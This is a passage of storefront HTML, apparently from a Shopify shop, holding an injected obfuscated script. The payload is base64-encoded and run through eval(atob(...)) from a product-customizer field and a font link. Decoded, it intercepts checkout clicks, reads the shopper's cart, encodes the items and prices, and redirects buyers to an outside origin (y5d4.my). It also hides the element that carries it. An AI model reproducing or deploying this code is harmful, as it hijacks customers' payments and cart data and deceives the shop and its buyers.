CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link href='x
</span>
<span class="preview">
<a href="https://fonts.google.com/specimen/x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXlt